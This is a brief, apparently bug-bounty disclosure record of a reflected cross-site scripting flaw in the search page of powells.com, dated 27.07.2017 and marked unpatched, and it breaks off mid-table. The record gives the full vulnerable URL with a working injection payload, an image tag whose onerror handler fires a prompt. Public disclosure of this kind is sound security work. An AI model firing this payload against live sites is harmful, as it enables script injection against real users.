powells.com XSS vulnerability

Vulnerable URL: http://www.powells.com/AdvancedSearch.aspx?kw=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=1=Search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...